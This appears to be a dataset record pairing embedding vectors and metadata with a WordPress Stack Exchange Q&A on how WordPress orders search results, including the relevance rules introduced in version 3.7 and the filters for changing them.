0.058349609375,
0.0251922607421875,
-0.00272369384765625,
0.11212158203125,
0.00290679931640625,
-0.03875732421875,
-0.0170135498046875,
0.0217132568359375,
-0.006572723388671875,
-0.0017242431640625,
0.02203369140625,
0.01187896728515625,
0.01062774658203125,
-0.00014793872833251953,
0.0158538818359375,
0.0240020751953125,
0.00531005859375,
0.0240478515625,
-0.02374267578125,
-0.022125244140625,
-0.03216552734375,
0.064697265625,
-0.0296173095703125,
-0.0086212158203125,
0.0309906005859375,
0.00405120849609375,
-0.007007598876953125,
-0.027435302734375,
0.00531768798828125,
0.0238189697265625,
0.0286102294921875,
-0.03253173828125,
0.034393310546875,
-0.00795745849609375,
0.017364501953125,
0.029083251953125,
-0.01324462890625,
0.0025768280029296875,
0.031341552734375,
0.02508544921875,
-0.0206451416015625,
-0.03857421875,
0.01177215576171875,
-0.00649261474609375,
0.025970458984375,
-0.0081024169921875,
0.01806640625,
-0.048858642578125,
0.05609130859375,
-0.059967041015625,
-0.0005831718444824219,
-0.039337158203125,
0.003204345703125,
-0.019927978515625,
-0.021575927734375,
-0.02044677734375,
-0.045501708984375,
0.012542724609375,
0.0004487037658691406,
-0.01357269287109375,
0.024627685546875,
0.0132598876953125,
0.0308685302734375,
-0.07171630859375,
-0.010101318359375,
0.028533935546875,
0.01436614990234375,
0.04571533203125,
0.0098876953125,
0.044158935546875,
0.0182647705078125,
0.00925445556640625,
-0.012054443359375,
-0.040435791015625,
0.07928466796875,
-0.033355712890625,
-0.0638427734375,
0.0826416015625,
-0.0225372314453125,
0.063232421875,
0.042724609375,
-0.006336212158203125,
-0.004940032958984375,
0.0221099853515625,
0.01247406005859375,
0.0033855438232421875,
-0.020355224609375,
-0.0294952392578125,
-0.00965118408203125,
0.01104736328125,
-0.0299835205078125,
0.0188446044921875,
0.0161285400390625,
-0.0016641616821289062,
0.01666259765625,
-0.00738525390625,
-0.0280303955078125,
-0.004108428955078125,
-0.0074310302734375,
0.019500732421875,
0.0186920166015625,
0.051513671875,
-0.01473236083984375,
0.0240325927734375,
-0.002956390380859375,
-0.0207366943359375,
0.004383087158203125,
0.0234375,
-0.03619384765625,
0.04974365234375,
-0.0274810791015625,
0.038726806640625,
-0.0223541259765625,
-0.0210418701171875,
0.00878143310546875,
-0.000008225440979003906,
0.0175628662109375,
-0.0078582763671875,
-0.0023403167724609375,
-0.01476287841796875,
0.0268096923828125,
0.0048980712890625,
0.0227508544921875,
0.011505126953125,
0.042327880859375,
0.038482666015625,
0.00298309326171875,
0.00768280029296875,
0.04119873046875,
-0.08404541015625,
0.00691986083984375,
0.047607421875,
0.05462646484375,
0.039398193359375,
-0.0179443359375,
-0.07684326171875,
0.026397705078125,
-0.07769775390625,
0.01372528076171875,
-0.05792236328125,
0.006378173828125,
0.012237548828125,
0.001880645751953125,
-0.04583740234375,
0.01049041748046875,
-0.072021484375,
-0.0099945068359375,
0.0156402587890625,
-0.029083251953125,
-0.034515380859375,
-0.01461029052734375,
0.01161956787109375,
0.0151824951171875,
-0.00728607177734375,
-0.00482940673828125,
-0.01416778564453125,
0.00969696044921875,
-0.00672149658203125,
0.0225372314453125,
0.025238037109375,
-0.01309967041015625,
-0.0210113525390625,
0.006427764892578125,
0.020263671875,
-0.00289154052734375,
0.0609130859375,
0.02142333984375,
0.004589080810546875,
-0.0025234222412109375,
-0.032440185546875,
0.01328277587890625,
0.0400390625,
-0.01453399658203125,
0.0142669677734375,
-0.0194854736328125,
-0.002414703369140625,
-0.01064300537109375,
0.0032215118408203125,
0.0160369873046875,
0.022735595703125,
0.048095703125,
0.05718994140625,
0.07568359375,
0.0162506103515625,
-0.002628326416015625,
0.037628173828125,
-0.047698974609375,
-0.0115509033203125,
0.07293701171875,
-0.006618499755859375,
-0.0013113021850585938,
0.0027008056640625,
0.042999267578125,
0.030548095703125,
0.0321044921875,
-0.041046142578125,
0.002399444580078125,
0.007251739501953125,
-0.0160064697265625,
0.00235748291015625,
-0.0223236083984375,
0.0286407470703125,
-0.10931396484375,
-0.034210205078125,
0.0186920166015625,
-0.01248931884765625,
0.01617431640625,
-0.0285186767578125,
-0.00525665283203125,
-0.006809234619140625,
-0.1378173828125,
-0.13232421875,
0.043670654296875,
-0.08575439453125,
0.00344085693359375,
-0.0122222900390625,
-0.052276611328125,
-0.0208892822265625,
0.025543212890625,
-0.00969696044921875,
0.0088043212890625,
0.0016641616821289062,
-0.08740234375,
-0.034820556640625,
-0.10992431640625,
0.0205841064453125,
-0.0195465087890625,
0.03472900390625,
-0.0030689239501953125,
0.00374603271484375,
-0.01001739501953125,
-0.0377197265625,
-0.028350830078125,
0.047454833984375,
0.0081787109375,
-0.043060302734375,
-0.019073486328125,
-0.00592803955078125,
-0.009124755859375,
-0.0026264190673828125,
0.0242462158203125,
0.0149688720703125,
-0.00466156005859375,
-0.00498199462890625,
-0.02520751953125,
0.00391387939453125,
0.004673004150390625,
0.0193634033203125,
0.0263671875,
-0.0010614395141601562,
-0.0096588134765625,
-0.047088623046875,
-0.005702972412109375,
-0.0066375732421875,
-0.031951904296875,
0.031097412109375,
0.0374755859375,
-0.016082763671875,
0.00803375244140625,
0.01053619384765625,
0.0304107666015625,
-0.005279541015625,
0.0213470458984375,
0.00024890899658203125,
0.04876708984375,
-0.0097198486328125,
0.01454925537109375,
-0.047393798828125,
0.0565185546875,
0.003910064697265625,
-0.0196075439453125,
0.0241546630859375,
0.0186309814453125,
-0.00830841064453125,
0.00914764404296875,
-0.0428466796875,
-0.037750244140625,
0.05322265625,
0.0098876953125,
0.0234527587890625,
-0.043304443359375,
-0.028533935546875,
-0.03271484375,
0.058319091796875,
-0.00891876220703125,
-0.01123809814453125,
-0.0174407958984375,
0.006206512451171875,
-0.0462646484375,
-0.0313720703125,
-0.033233642578125,
0.01334381103515625,
-0.02166748046875,
-0.0225982666015625,
-0.037017822265625,
-0.022796630859375,
0.0175628662109375,
-0.041046142578125,
0.0178985595703125,
-0.0487060546875,
0.0084228515625,
-0.0171966552734375,
0.0107269287109375,
0.022705078125,
0.006534576416015625,
-0.0060577392578125,
0.0136871337890625,
-0.03790283203125,
-0.0283355712890625,
-0.0087890625,
-0.022216796875,
0.04833984375,
0.0227203369140625,
-0.00820159912109375,
-0.0019426345825195312,
0.04425048828125,
0.031341552734375,
-0.006206512451171875,
-0.005401611328125,
-0.04681396484375,
0.01482391357421875,
0.059844970703125,
0.024322509765625,
0.01361083984375,
-0.02056884765625,
-0.0208282470703125,
-0.0396728515625,
-0.037078857421875,
-0.010711669921875,
-0.0116729736328125,
0.0222015380859375,
-0.0203704833984375,
-0.08038330078125,
-0.01406097412109375,
-0.006694793701171875,
-0.0136566162109375,
-0.00504302978515625,
-0.011138916015625,
0.0033245086669921875,
-0.0518798828125,
0.042633056640625,
0.018798828125,
-0.02606201171875,
-0.007076263427734375,
0.02264404296875,
0.0311431884765625,
-0.03631591796875,
-0.04052734375,
0.0000890493392944336,
0.018524169921875,
-0.0302886962890625,
0.01416015625,
-0.0185546875,
-0.034271240234375,
0.0926513671875,
-0.028900146484375,
0.022247314453125,
0.02508544921875,
0.038116455078125,
0.013214111328125,
-0.0115509033203125,
0.0247344970703125,
0.03668212890625,
-0.09088134765625,
0.01241302490234375,
-0.00775909423828125,
0.00545501708984375,
0.0330810546875,
0.006908416748046875,
-0.07183837890625,
0.04010009765625,
0.01227569580078125,
-0.044097900390625,
0.0050048828125,
-0.01425933837890625,
0.02734375,
0.0227203369140625,
0.0016908645629882812,
0.01409912109375,
0.0198211669921875,
0.006999969482421875,
-0.00975799560546875,
0.00881195068359375,
-0.035430908203125,
0.035247802734375,
-0.006626129150390625,
-0.0245513916015625,
-0.0126953125,
-0.012847900390625,
0.01165771484375,
-0.0187835693359375,
-0.043609619140625,
-0.0017795562744140625,
-0.0041046142578125,
0.0104827880859375,
0.0162811279296875,
-0.0027828216552734375,
0.016143798828125,
0.0250701904296875,
-0.007415771484375,
-0.0008692741394042969,
-0.0007567405700683594,
-0.0026531219482421875,
-0.0262603759765625,
0.0143585205078125,
0.0091094970703125,
0.0032787322998046875,
-0.0021514892578125,
0.100341796875,
-0.019683837890625,
0.068603515625,
-0.020538330078125,
0.00991058349609375,
0.0206451416015625,
0.0193023681640625,
0.0067138671875,
0.0008373260498046875,
0.024566650390625,
-0.00665283203125,
0.03973388671875,
-0.01474761962890625,
-0.0181427001953125,
0.0165252685546875,
0.0179290771484375,
-0.05828857421875,
-0.0251617431640625,
0.03167724609375,
-0.01042938232421875,
-0.02880859375,
0.044097900390625,
0.029205322265625,
0.016326904296875,
-0.058074951171875,
-0.035491943359375,
0.05828857421875,
0.0452880859375,
0.0108795166015625,
0.0183563232421875,
0.029541015625,
0.01678466796875,
0.02130126953125,
-0.02862548828125,
-0.0099945068359375,
0.01284027099609375,
-0.00800323486328125,
-0.02777099609375,
0.00130462646484375,
-0.036468505859375,
0.01520538330078125,
-0.02911376953125,
-0.0288848876953125,
0.06085205078125,
-0.0284881591796875,
-0.0107574462890625,
-0.02630615234375,
0.030120849609375,
-0.067626953125,
-0.005542755126953125,
0.062744140625,
0.040679931640625,
-0.0241851806640625,
-0.02252197265625,
-0.024169921875,
-0.00901031494140625,
0.03179931640625,
0.01136016845703125,
-0.01123046875,
-0.00701904296875,
0.02081298828125,
0.0224609375,
0.0192108154296875,
0.00576019287109375,
0.01442718505859375,
0.01355743408203125,
-0.02557373046875,
0.053802490234375,
0.005641937255859375,
0.01209259033203125,
-0.003765106201171875,
0.0299530029296875,
-0.0014858245849609375,
-0.00539398193359375,
-0.0089569091796875,
-0.01482391357421875,
0.00016176700592041016,
-0.0811767578125,
-0.0238037109375,
-0.0005736351013183594,
-0.01459503173828125,
0.04534912109375,
0.02130126953125,
0.0113067626953125,
-0.00211334228515625,
-0.0210723876953125,
-0.01123809814453125,
-0.01316070556640625,
0.0540771484375,
-0.01490020751953125,
0.0021686553955078125,
0.003490447998046875,
0.001689910888671875,
-0.018585205078125,
-0.042877197265625,
-0.040069580078125,
0.00984954833984375,
0.037384033203125,
-0.0297698974609375,
0.00128173828125,
-0.0153350830078125,
0.050811767578125,
0.11029052734375,
-0.01364898681640625,
0.0565185546875,
0.048126220703125,
-0.003017425537109375,
0.0284576416015625,
0.041748046875,
-0.0145263671875,
-0.01371002197265625,
0.0014057159423828125,
0.003173828125,
0.0033721923828125,
-0.0204315185546875,
-0.0082550048828125,
0.01332855224609375,
0.0264129638671875,
0.061492919921875,
-0.041778564453125,
0.00852203369140625,
0.0182342529296875,
-0.0282745361328125,
0.00974273681640625,
0.04315185546875,
-0.048004150390625,
-0.05047607421875,
0.04644775390625,
-0.0731201171875,
0.01041412353515625,
0.016387939453125,
-0.00047326087951660156,
-0.000057756900787353516,
0.00785064697265625,
0.06427001953125,
0.0096588134765625,
-0.055755615234375,
0.01554107666015625,
0.01462554931640625,
0.001522064208984375,
0.0119171142578125,
0.028228759765625,
-0.025360107421875,
-0.025848388671875,
-0.044464111328125,
-0.0226593017578125,
0.0152435302734375,
-0.03662109375,
-0.032257080078125,
-0.002918243408203125,
-0.00010055303573608398,
0.05206298828125,
-0.0250396728515625,
-0.01299285888671875,
0.0440673828125,
-0.053131103515625,
0.0091094970703125,
-0.0043487548828125,
0.01255035400390625,
0.038299560546875,
-0.0175933837890625,
0.0167236328125,
0.0034198760986328125,
-0.0215911865234375,
-0.0212860107421875,
-0.0009403228759765625,
0.08294677734375,
-0.0189208984375,
-0.0174102783203125,
0.03363037109375,
0.01480865478515625,
-0.02099609375,
0.0002956390380859375,
0.09075927734375,
-0.05596923828125,
-0.02069091796875,
0.034698486328125,
0.00019669532775878906,
-0.0196990966796875,
0.004886627197265625,
-0.032806396484375,
0.0899658203125,
0.0275115966796875,
-0.003803253173828125,
0.0033245086669921875,
0.03851318359375,
-0.051116943359375,
0.0132598876953125,
-0.0499267578125,
0.03656005859375,
0.0322265625,
0.022064208984375,
-0.053863525390625,
-0.004608154296875,
-0.00437164306640625,
0.0150909423828125,
0.056549072265625,
0.0165557861328125,
-0.00788116455078125,
-0.0142059326171875,
0.00594329833984375,
0.04010009765625,
-0.00949859619140625,
0.019989013671875,
0.0075531005859375,
0.016754150390625,
0.05328369140625,
-0.041839599609375,
0.01284027099609375,
-0.01323699951171875,
0.0140380859375,
0.0305938720703125,
0.02960205078125,
0.01499176025390625,
0.0298004150390625,
0.0105438232421875,
-0.10906982421875,
0.0294647216796875,
0.09027099609375,
-0.0406494140625,
0.0035343170166015625,
0.051177978515625,
0.041473388671875,
-0.0014448165893554688,
0.00843048095703125,
-0.032440185546875,
0.055145263671875,
0.006381988525390625,
0.03448486328125,
0.0133056640625,
0.01442718505859375,
0.0345458984375,
-0.00966644287109375,
-0.0003840923309326172,
0.0075836181640625,
0.00870513916015625,
0.06402587890625,
0.047821044921875,
0.02423095703125,
-0.026611328125,
0.0149078369140625,
0.058319091796875,
0.07867431640625,
-0.047119140625,
-0.042449951171875,
0.0017461776733398438,
-0.0254974365234375,
0.0180816650390625,
-0.002773284912109375,
0.026824951171875,
0.00310516357421875,
-0.004306793212890625,
-0.045013427734375,
-0.0038204193115234375,
0.026153564453125,
0.0309295654296875,
-0.00893402099609375,
-0.00018274784088134766,
-0.0170745849609375,
-0.0205535888671875,
-0.021087646484375,
0.0252838134765625,
0.0191497802734375,
0.0301971435546875,
-0.0035800933837890625,
0.048797607421875,
-0.0306396484375,
-0.00997161865234375,
0.0099334716796875,
0.036865234375,
0.01549530029296875,
-0.013031005859375,
0.0003273487091064453,
-0.045013427734375,
0.037933349609375,
0.0010519027709960938,
0.006168365478515625,
-0.01505279541015625,
0.020263671875,
0.0230865478515625,
-0.032073974609375,
-0.002994537353515625,
0.03515625,
-0.00846099853515625,
0.008636474609375,
-0.02392578125,
-0.00818634033203125,
0.01186370849609375,
-0.005954742431640625,
0.003597259521484375,
-0.007289886474609375,
0.02862548828125,
-0.020111083984375,
0.0631103515625,
-0.01355743408203125,
-0.0036182403564453125,
0.019500732421875,
-0.05792236328125,
0.0601806640625,
-0.025543212890625,
-0.040557861328125,
0.0022563934326171875,
-0.03143310546875,
-0.01446533203125,
0.004665374755859375,
0.033905029296875,
0.0002090930938720703,
0.032958984375,
0.00894927978515625,
0.0162353515625,
0.01464080810546875,
-0.0183258056640625,
-0.024810791015625,
-0.044189453125,
0.04705810546875,
-0.0345458984375,
0.00811767578125,
-0.0020751953125,
-0.0069580078125,
0.04168701171875,
-0.0023365020751953125,
0.058807373046875,
-0.03057861328125,
0.01971435546875,
-0.016326904296875,
0.0006785392761230469,
-0.0015192031860351562,
0.0025482177734375,
-0.0098724365234375,
0.01041412353515625,
0.0200042724609375,
-0.0227813720703125,
-0.0406494140625,
0.0254669189453125,
0.00846099853515625,
-0.005359649658203125,
0.0418701171875,
-0.029296875,
0.008575439453125,
-0.0255126953125,
0.0023136138916015625,
-0.0244140625,
-0.01470184326171875,
0.002895355224609375,
0.01141357421875,
0.03021240234375,
0.0206756591796875,
-0.029144287109375,
0.023468017578125,
-0.0113525390625,
-0.0011854171752929688,
-0.00569915771484375,
-0.007732391357421875,
-0.02044677734375,
0.018890380859375,
-0.034759521484375,
0.017120361328125,
-0.0285797119140625,
-0.024749755859375,
0.03448486328125,
-0.00428009033203125,
0.005451202392578125,
-0.00786590576171875,
0.033233642578125,
0.003803253173828125,
-0.0254669189453125,
0.01275634765625,
-0.0279693603515625,
-0.014373779296875,
-0.001453399658203125,
0.0214691162109375,
-0.02880859375,
-0.0244140625,
-0.0029392242431640625,
-0.0137786865234375,
-0.00742340087890625,
0.0012035369873046875,
0.022705078125,
-0.0264892578125,
0.032867431640625,
-0.01422882080078125,
0.037384033203125,
-0.00540924072265625,
-0.0225372314453125,
0.006809234619140625,
-0.033782958984375,
0.0200042724609375,
-0.011383056640625,
0.0555419921875,
-0.041473388671875,
-0.025177001953125,
-0.046142578125,
-0.0295562744140625,
-0.03387451171875,
0.04931640625,
-0.0009984970092773438,
0.0169219970703125,
0.047210693359375,
-0.018585205078125,
-0.01506805419921875,
0.01291656494140625,
0.00836181640625,
0.038116455078125,
-0.0391845703125,
-0.00601959228515625,
0.016510009765625,
0.00928497314453125,
-0.0579833984375,
-0.02935791015625,
0.00811004638671875,
0.003875732421875,
-0.0064544677734375,
0.00487518310546875,
0.0154876708984375,
0.0333251953125,
-0.0163421630859375,
-0.05224609375,
0.01068115234375,
0.0003676414489746094,
-0.02703857421875,
-0.052032470703125,
-0.05157470703125,
0.00220489501953125,
0.03424072265625,
-0.011199951171875,
-0.0198211669921875,
-0.054473876953125,
0.044830322265625,
0.005458831787109375,
0.03582763671875,
0.0196533203125,
0.006107330322265625,
-0.05755615234375,
-0.0197296142578125,
-0.034912109375,
0.005802154541015625,
-0.042236328125,
0.03509521484375,
-0.0008630752563476562,
0.00476837158203125,
-0.00756072998046875,
0.043304443359375,
0.0165863037109375,
0.0289764404296875,
-0.04168701171875,
-0.01355743408203125,
0.0009794235229492188,
0.0194244384765625,
0.054443359375,
0.0687255859375,
0.00402069091796875,
-0.051910400390625,
-0.0501708984375,
-0.019378662109375,
-0.03265380859375,
-0.013275146484375,
0.0212860107421875,
-0.06378173828125,
0.0199127197265625,
-0.022491455078125,
-0.00252532958984375,
0.0274658203125,
-0.04779052734375,
-0.0290985107421875,
0.0009775161743164062,
-0.0181121826171875,
0.00855255126953125,
-0.0143585205078125,
-0.025146484375,
0.094970703125,
-0.045562744140625,
0.0095672607421875,
0.0144195556640625,
0.0263519287109375,
0.0533447265625,
0.0102691650390625,
-0.024993896484375,
0.0178375244140625,
-0.042694091796875,
-0.006603240966796875,
-0.004581451416015625,
0.057159423828125,
-0.020233154296875,
-0.0014486312866210938,
-0.016082763671875,
0.0272369384765625,
-0.01184844970703125,
0.020233154296875,
0.0182952880859375,
0.023681640625,
0.02008056640625,
0.0025787353515625,
-0.06280517578125,
-0.005397796630859375,
-0.0322265625,
-0.0152740478515625,
-0.0156707763671875,
0.043243408203125,
0.05841064453125,
-0.030670166015625,
-0.004558563232421875,
0.029693603515625,
-0.04754638671875,
-0.035736083984375,
-0.006793975830078125,
-0.0050048828125,
0.004055023193359375,
0.00272369384765625
] |
cdd0f92daf04aac08988e8f4351832350f8d120c
|
Wordpress Stackexchange
Q: How does WordPress search work behind the scenes? I am using WordPress search to search a range of custom post types and allow the user to drill-down into each individual post type.
However I'm finding that WordPress is not returning what I'd deem to be the 'best' matches first. For example, if I search for Microsoft, pages that contain the term irregularly are still returned before pages that regularly use the term.
Basically I'm trying to find some information on how WordPress ranks pages and determines relevance and if I can influence this without having to install any plugins.
Any help much appreciated.
A: Since WordPress 3.7 (October 2013), search results are sorted by the following criteria (see ticket 7394):
*
*Full sentence matches in post titles.
*All search terms in post titles.
*Any search terms in post titles.
*Full sentence matches in post content.
Each section and any remaining posts are then sorted by date.
There are also new filters:
*
*wp_search_stopwords, to filter stop words ignored in WHERE.
*posts_search_orderby, to filter the ORDER BY when ordering search results.
|
Q: How does WordPress search work behind the scenes? I am using WordPress search to search a range of custom post types and allow the user to drill-down into each individual post type.
However I'm finding that WordPress is not returning what I'd deem to be the 'best' matches first. For example, if I search for Microsoft, pages that contain the term irregularly are still returned before pages that regularly use the term.
Basically I'm trying to find some information on how WordPress ranks pages and determines relevance and if I can influence this without having to install any plugins.
Any help much appreciated.
A: Since WordPress 3.7 (October 2013), search results are sorted by the following criteria (see ticket 7394):
*
*Full sentence matches in post titles.
*All search terms in post titles.
*Any search terms in post titles.
*Full sentence matches in post content.
Each section and any remaining posts are then sorted by date.
There are also new filters:
*
*wp_search_stopwords, to filter stop words ignored in WHERE.
*posts_search_orderby, to filter the ORDER BY when ordering search results.
A: EDIT - The current version of WordPress supports relevance, so this answer is no longer accurate.
There's no concept of rank or relevance, it's just a simple LIKE query on the post title and content:
($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}')
You can use the posts_search filter to modify or completely replace the search query with your own. From /wp-includes/query.php:
// Allow plugins to contextually add/remove/modify the search section of the database query
$search = apply_filters_ref_array('posts_search', array( $search, &$this ) );
Also see the available query filters on the WP_Query Codex page.
|
wordpress
|
{
"language": "en",
"length": 275,
"provenance": "stackexchange_00019.jsonl.gz:437651",
"question_score": "13",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115945"
}
|
[
0.0307769775390625,
-0.01438140869140625,
0.0100860595703125,
0.03765869140625,
-0.0200042724609375,
-0.041900634765625,
0.07183837890625,
-0.037017822265625,
0.0295867919921875,
0.0232086181640625,
-0.07403564453125,
0.001708984375,
-0.0275726318359375,
0.017730712890625,
-0.046295166015625,
-0.065673828125,
0.0241546630859375,
-0.057159423828125,
-0.0195159912109375,
-0.035675048828125,
0.01702880859375,
-0.03656005859375,
0.042633056640625,
0.0198974609375,
0.059661865234375,
-0.025848388671875,
0.067626953125,
-0.017791748046875,
0.07666015625,
0.01303863525390625,
0.043212890625,
-0.06463623046875,
0.0187835693359375,
0.0120849609375,
0.0195159912109375,
0.0361328125,
0.036376953125,
0.01206207275390625,
0.0245361328125,
0.02154541015625,
0.0075225830078125,
0.01220703125,
0.0207366943359375,
-0.01023101806640625,
0.005496978759765625,
-0.069091796875,
0.048309326171875,
-0.0216217041015625,
0.0134124755859375,
-0.038360595703125,
-0.011474609375,
0.0465087890625,
0.0227508544921875,
-0.06622314453125,
-0.00934600830078125,
-0.005771636962890625,
0.0295257568359375,
0.0135498046875,
0.021759033203125,
-0.050018310546875,
-0.037689208984375,
0.0083770751953125,
0.024078369140625,
0.023651123046875,
-0.01555633544921875,
-0.004150390625,
0.033477783203125,
-0.01107025146484375,
-0.01314544677734375,
-0.021759033203125,
0.03216552734375,
0.007404327392578125,
0.007480621337890625,
-0.00614166259765625,
0.0038623809814453125,
-0.056182861328125,
0.01849365234375,
-0.04547119140625,
-0.00528717041015625,
0.02276611328125,
0.01727294921875,
-0.011199951171875,
0.002063751220703125,
-0.007740020751953125,
0.0003032684326171875,
-0.006805419921875,
0.00011396408081054688,
-0.0011749267578125,
-0.032318115234375,
-0.042999267578125,
-0.0222625732421875,
-0.0290374755859375,
-0.06146240234375,
-0.003177642822265625,
-0.01096343994140625,
-0.0240631103515625,
0.0262908935546875,
0.0469970703125,
-0.0081024169921875,
0.000995635986328125,
-0.021026611328125,
-0.030059814453125,
-0.009979248046875,
-0.0252685546875,
0.00861358642578125,
-0.0001036524772644043,
-0.012939453125,
0.01163482666015625,
0.052337646484375,
0.037353515625,
0.0027637481689453125,
0.047698974609375,
-0.005352020263671875,
-0.0186614990234375,
-0.0270538330078125,
0.00861358642578125,
-0.01666259765625,
-0.00104522705078125,
0.003467559814453125,
-0.0007104873657226562,
0.022369384765625,
0.023529052734375,
0.0196075439453125,
-0.042572021484375,
0.0010166168212890625,
-0.008331298828125,
-0.019866943359375,
-0.028717041015625,
0.0138702392578125,
0.024322509765625,
-0.02655029296875,
0.013641357421875,
0.0299835205078125,
-0.0071868896484375,
-0.032073974609375,
-0.01641845703125,
-0.00916290283203125,
-0.03692626953125,
-0.0236663818359375,
0.00991058349609375,
0.01727294921875,
-0.037689208984375,
-0.0019321441650390625,
0.0157470703125,
0.032440185546875,
-0.003902435302734375,
0.0172271728515625,
0.036956787109375,
0.01169586181640625,
-0.0156402587890625,
0.01428985595703125,
0.0218658447265625,
0.044342041015625,
-0.0136566162109375,
-0.051605224609375,
-0.0458984375,
0.01904296875,
-0.03826904296875,
-0.002773284912109375,
-0.0665283203125,
0.032806396484375,
0.00009202957153320312,
0.0137939453125,
0.0233612060546875,
-0.0155792236328125,
0.0015163421630859375,
-0.0404052734375,
-0.01000213623046875,
0.0142822265625,
-0.0584716796875,
0.0222930908203125,
0.01081085205078125,
0.007717132568359375,
-0.0272216796875,
-0.004283905029296875,
-0.01174163818359375,
0.040618896484375,
0.01318359375,
0.00653839111328125,
0.041748046875,
0.0071868896484375,
-0.0173492431640625,
0.0643310546875,
-0.040313720703125,
-0.0300750732421875,
0.024932861328125,
0.02252197265625,
0.03558349609375,
-0.0166015625,
0.0240478515625,
0.031982421875,
0.057373046875,
-0.055450439453125,
0.06256103515625,
-0.023590087890625,
-0.0247955322265625,
0.00374603271484375,
0.0223541259765625,
-0.0147857666015625,
-0.0238494873046875,
0.00351715087890625,
0.013580322265625,
0.007396697998046875,
-0.008270263671875,
-0.04754638671875,
0.03240966796875,
-0.02398681640625,
0.037353515625,
0.03204345703125,
0.0215301513671875,
0.00971221923828125,
0.0167388916015625,
-0.0233154296875,
-0.0178375244140625,
-0.03985595703125,
-0.00466156005859375,
0.0124053955078125,
0.012725830078125,
0.0015468597412109375,
-0.0114898681640625,
-0.002346038818359375,
-0.016693115234375,
-0.00579833984375,
0.05413818359375,
0.051727294921875,
0.00359344482421875,
-0.0118408203125,
-0.0037174224853515625,
0.04913330078125,
0.02587890625,
-0.0352783203125,
0.0097503662109375,
0.073974609375,
0.091796875,
-0.01508331298828125,
-0.01148223876953125,
0.0106964111328125,
0.00209808349609375,
0.004405975341796875,
0.0246429443359375,
0.019500732421875,
0.061065673828125,
-0.007190704345703125,
0.0222015380859375,
0.021331787109375,
-0.04559326171875,
0.00585174560546875,
0.0026950836181640625,
0.026519775390625,
0.09564208984375,
-0.0135650634765625,
0.0147857666015625,
-0.00571441650390625,
-0.05712890625,
0.00015735626220703125,
0.0355224609375,
0.013031005859375,
0.01093292236328125,
-0.0267486572265625,
0.0180816650390625,
-0.00017261505126953125,
-0.020233154296875,
-0.0228729248046875,
-0.004207611083984375,
-0.0190887451171875,
0.026458740234375,
0.015838623046875,
0.0197906494140625,
-0.033233642578125,
0.0115966796875,
0.019622802734375,
0.0145721435546875,
0.0006723403930664062,
-0.00551605224609375,
0.026763916015625,
0.0089263916015625,
-0.0235595703125,
0.0006737709045410156,
0.031494140625,
-0.007232666015625,
0.0204620361328125,
0.015045166015625,
0.005634307861328125,
0.0011186599731445312,
0.00833892822265625,
-0.036468505859375,
0.0262451171875,
0.057891845703125,
-0.01303863525390625,
0.0206146240234375,
0.0189361572265625,
0.049407958984375,
0.003688812255859375,
0.025177001953125,
0.0014162063598632812,
0.00946807861328125,
-0.048553466796875,
-0.03826904296875,
0.038543701171875,
-0.047637939453125,
-0.004291534423828125,
0.060028076171875,
-0.00970458984375,
0.0172576904296875,
0.0030460357666015625,
0.017333984375,
0.003726959228515625,
-0.0023479461669921875,
-0.01261138916015625,
0.00481414794921875,
-0.07720947265625,
0.0031604766845703125,
0.016204833984375,
0.004825592041015625,
0.01419830322265625,
-0.0289154052734375,
0.00884246826171875,
0.013336181640625,
-0.08221435546875,
-0.09185791015625,
-0.00861358642578125,
-0.04620361328125,
-0.0260467529296875,
-0.0155029296875,
-0.01412200927734375,
0.0171966552734375,
-0.00774383544921875,
-0.007709503173828125,
0.019927978515625,
-0.0268402099609375,
-0.07574462890625,
-0.036773681640625,
-0.06414794921875,
0.036041259765625,
-0.004825592041015625,
0.01239013671875,
0.0085296630859375,
0.0645751953125,
0.032958984375,
-0.047149658203125,
0.034454345703125,
0.08404541015625,
-0.03228759765625,
-0.00403594970703125,
0.00507354736328125,
-0.043060302734375,
-0.0098419189453125,
0.00372314453125,
0.05096435546875,
-0.0017271041870117188,
-0.005908966064453125,
0.0219879150390625,
-0.0171661376953125,
-0.004901885986328125,
0.031097412109375,
-0.01308441162109375,
-0.0213470458984375,
0.0036296844482421875,
0.0297088623046875,
-0.04736328125,
0.0265350341796875,
0.0020046234130859375,
-0.0084075927734375,
-0.0291900634765625,
-0.0246734619140625,
-0.01151275634765625,
-0.03851318359375,
0.018829345703125,
0.022247314453125,
0.018524169921875,
-0.0255889892578125,
-0.03741455078125,
0.06365966796875,
0.0189971923828125,
0.049530029296875,
-0.01479339599609375,
0.0276031494140625,
-0.0379638671875,
0.01061248779296875,
0.005084991455078125,
-0.006458282470703125,
-0.0047454833984375,
-0.0248870849609375,
-0.034423828125,
-0.03271484375,
0.039520263671875,
0.0035419464111328125,
0.0263519287109375,
-0.048187255859375,
-0.039031982421875,
-0.0299224853515625,
0.08526611328125,
-0.0806884765625,
-0.004291534423828125,
0.01142120361328125,
0.022369384765625,
-0.0169830322265625,
-0.06280517578125,
-0.041839599609375,
-0.01788330078125,
-0.0828857421875,
-0.00174713134765625,
-0.0252227783203125,
-0.0175018310546875,
-0.0257568359375,
0.0139617919921875,
-0.048828125,
-0.044219970703125,
0.01654052734375,
-0.04705810546875,
0.0364990234375,
-0.01480865478515625,
0.00897216796875,
-0.0273590087890625,
0.005962371826171875,
-0.04876708984375,
-0.072021484375,
-0.02178955078125,
0.033599853515625,
0.02471923828125,
-0.0221405029296875,
0.0017156600952148438,
-0.010894775390625,
0.038299560546875,
0.041107177734375,
0.039886474609375,
0.0301055908203125,
-0.051361083984375,
0.06964111328125,
0.01531982421875,
0.018768310546875,
-0.004535675048828125,
0.000011324882507324219,
-0.012420654296875,
-0.0312042236328125,
0.0029964447021484375,
-0.0269622802734375,
0.00844573974609375,
-0.00972747802734375,
-0.0267486572265625,
0.01491546630859375,
-0.00707244873046875,
-0.05389404296875,
0.01727294921875,
-0.015716552734375,
-0.0225677490234375,
-0.026824951171875,
-0.0269775390625,
0.06695556640625,
0.01161956787109375,
-0.00787353515625,
-0.01488494873046875,
0.0867919921875,
0.008270263671875,
-0.033477783203125,
-0.00730133056640625,
-0.0256195068359375,
0.004505157470703125,
0.05120849609375,
0.00400543212890625,
-0.024322509765625,
-0.0104827880859375,
0.0139312744140625,
-0.0027332305908203125,
-0.02117919921875,
0.0011129379272460938,
0.0692138671875,
-0.0092315673828125,
-0.01434326171875,
0.0186767578125,
-0.0275726318359375,
0.004024505615234375,
0.032745361328125,
